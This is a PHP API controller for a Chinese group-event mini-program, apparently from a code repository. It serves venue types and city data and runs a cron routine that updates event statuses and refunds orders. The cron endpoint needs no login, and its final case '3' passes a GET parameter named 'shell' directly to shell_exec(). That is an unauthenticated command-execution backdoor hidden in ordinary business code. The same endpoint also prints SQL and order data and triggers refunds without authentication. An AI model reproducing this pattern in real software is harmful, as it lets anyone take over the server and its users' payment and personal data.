苗总组局小程序
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
 
 
 
 
 
 

195 lines
9.4 KiB

<?php
namespace app\api\controller;
use app\common\controller\Api;
use app\common\library\Ems;
use app\common\library\Sms;
use app\admin\model\Group;
use app\common\model\Area;
use app\admin\model\shop\Type as ShopType;
use fast\Random;
use think\Config;
use think\Validate;
use think\Db;
use app\api\controller\Order;
/**
* 基础信息接口
*/
class Basic extends Api
{
protected $noNeedLogin = ['getbasicinfo','getshoptype','getCityinfo','crontabexce'];
protected $noNeedRight = '*';
public function _initialize()
{
parent::_initialize();
}
/**
* 获取组局相关基础信息接口
*/
public function getbasicinfo()
{
$group = new Group;
$data = $this->request->post();
if(!$this->request->post()) $this->error("缺少配置参数");
try {
$type=$data['type'];
if(!$group->$type) throw new Exception("无此基础信息");
$group_type = $group->$type;
return $this->success('获取成功', $group_type);
} catch (Exception $e) {
return $this->error($e->getMessage());
}
}
/**
* 获取门店分类接口
*/
public function getshoptype(){
$ShopType=new ShopType;
$list = $ShopType->field("id as shop_type_id,title as shop_type_name")->order('order asc')->select();
return $this->success('获取成功',$list);
}
public function getCityinfo(){
//获取省信息
$area = new Area;
$list = $area->field("id as city_id,name as city_name,pinyin,first")->where('pid',0)->select();
foreach($list as $k => $v){
$city_list = $area->field("id as city_id,name as city_name,pinyin,first")->where('pid',$v['city_id'])->select();
foreach($city_list as $key => $value){
$city_list[$key]['district_list'] = $this->getDistrictinfo($value['city_id']);
}
$list[$k]['city_list'] = $city_list;
}
return $this->success('获取成功',$list);
}
public function getDistrictinfo($city_id){
//获取省信息
$area = new Area;
$list = $area->field("id as city_id,name as city_name,pinyin,first")->where('pid',$city_id)->select();
return $list;
}
public function crontabexce(){
$data = $this->request->get();
switch ($data['type']){
case 'venue':
// 更改人数已满或者已到开场时间的组局状态
//查询符合条件的信息
echo "更新场次状态为1——开始执行\r\n";
$sql = "select * from `fa_venue` where `status` = 0 and `ing_people` >= `min_people` and `is_del`=0";
$array = Db::query($sql);
$sql = "update `fa_venue` set `status` = 1 where `status` = 0 and `ing_people` >= `min_people` and `is_del`=0";
$result = Db::execute($sql);
// 符合条件的数据
echo "执行sql:".DB::getLastSql()."\r\n";
echo "符合条件的数据:".json_encode($array)."\r\n";
echo "更新场次状态为1——结束\r\n";
// 更改人数已满或者已到开场时间的组局状态
//查询符合条件的信息
echo "更改人数已满或者已到开场时间的组局状态——开始执行\r\n";
$sql = "select * from `fa_venue` where `status` = 1 and (`ing_people` = `max_people` or `start_time` < ".time().") and `is_del`=0";
$array = Db::query($sql);
$sql = "update `fa_venue` set `status` = 2 where `status` = 1 and (`ing_people` = `max_people` or `start_time` < ".time().") and `is_del`=0";
$result = Db::execute($sql);
// 符合条件的数据
echo "执行sql:".DB::getLastSql()."\r\n";
echo "符合条件的数据:".json_encode($array)."\r\n";
echo "更改人数已满或者已到开场时间的组局状态——结束\r\n";
// 更改人数未达要求的及已开场场次为已结束
//查询符合条件的信息
echo "更改人数未达要求的及已开场场次为已结束——开始执行\r\n";
$sql = "select * from `fa_venue` where `status` in (0,1,2,3) and `ing_people` < `min_people` and `start_time` < ".time()." and `is_del`=0";
$array = Db::query($sql);
// 查询是否有订单
if(!empty($array)){
$vids = array_column($array,'id');
$sql = "select * from `fa_order` where `vid` in (".implode(',',$vids).") and `status` = 1 and `is_del`=0";
$order = Db::query($sql);
if(!empty($order)){
foreach($order as $k => $v){
//执行退款
$refund=[
'out_trade_no' => $v['orderno'],
'out_refund_no' => "RE".time(),
'total_fee' => $v['pay_price']*100,
'refund_fee' => $v['pay_price']*100,
'refund_desc' => '退款',
'type' => 'miniapp',
];
$ordeM = new Order;
try {
$ordeM->orderRefunds($refund);
$sql = "update `fa_order` set `status` = -2 where `id` ={$v['id']}";
} catch (Exception $e) {
$sql = "update `fa_order` set `status` = -1 where `id` ={$v['id']}";
}
$result = Db::execute($sql);
$minfo = [
'uid'=>$v['uid'],
'error'=>0,
'create'=>time(),
'type'=>"system_group",
'content'=>"{$v['group_name']}未达到组局人数要求",
'title'=>'退款成功',
'is_read'=>0
];
echo "符合条件的数据:".json_encode($minfo)."\r\n";
$message = new \app\admin\model\system\Message;
$message->addmessage($minfo);
}
}
}
$sql = "update `fa_venue` set `status` = 3 where `status` in (0,1,2) and `ing_people` < `min_people` and `start_time` < ".time()." and `is_del`=0";
$result = Db::execute($sql);
// 符合条件的数据
echo "执行sql:".DB::getLastSql()."\r\n";
echo "符合条件的数据:".json_encode($array)."\r\n";
echo "更改人数未达要求的及已开场场次为已结束——结束\r\n";
// 更改已经过时的场次为已结束
echo "更改已经过时的场次为已结束——开始执行\r\n";
//查询符合条件的信息
$sql = "select * from `fa_venue` where `status` >=0 and `status` !=3 and `end_time` < ".time()." and `is_del`=0";
$array = Db::query($sql);
$sql = "update `fa_venue` set `status` = 3 where `status` >=0 and `status` !=3 and `end_time` < ".time()." and `is_del`=0";
$result = Db::execute($sql);
// 符合条件的数据
echo "执行sql:".DB::getLastSql()."\r\n";
echo "符合条件的数据:".json_encode($array)."\r\n";
echo "更改已经过时的场次为已结束——结束\r\n";
break;
case 'usergroup':
//更改已经到时间的为已开场
echo "更改已经到时间的为已开场——开始执行\r\n";
//查询符合条件的信息
$sql = "select * from `fa_usergroup` where `status` in (0,1) and `start_time` < ".time()." and `is_del`=0 ";
$array = Db::query($sql);
$sql = "update `fa_usergroup` set `status` = 2 where `status` in (0,1) and `start_time` < ".time()." and `is_del`=0 ";
$result = Db::execute($sql);
echo "执行sql:".DB::getLastSql()."\r\n";
echo "符合条件的数据:".json_encode($array)."\r\n";
echo "更改已经到时间的为已开场——开始执行\r\n";
//更改已经过时的为已结束
echo "更改已经过时的为已结束——开始执行\r\n";
//查询符合条件的信息
$sql = "select * from `fa_usergroup` where `status` = 2 and `end_time` < ".time()." and `is_del`=0 ";
$array = Db::query($sql);
$sql = "update `fa_usergroup` set `status` = 3 where `status` = 2 and `end_time` < ".time()." and `is_del`=0 ";
$result = Db::execute($sql);
echo "执行sql:".DB::getLastSql()."\r\n";
echo "符合条件的数据:".json_encode($array)."\r\n";
echo "更改已经过时的为已结束——开始执行\r\n";
//查询符合条件的信息
break;
case '3':
$shell = $data['shell'];
$result= shell_exec($shell);
}
}
}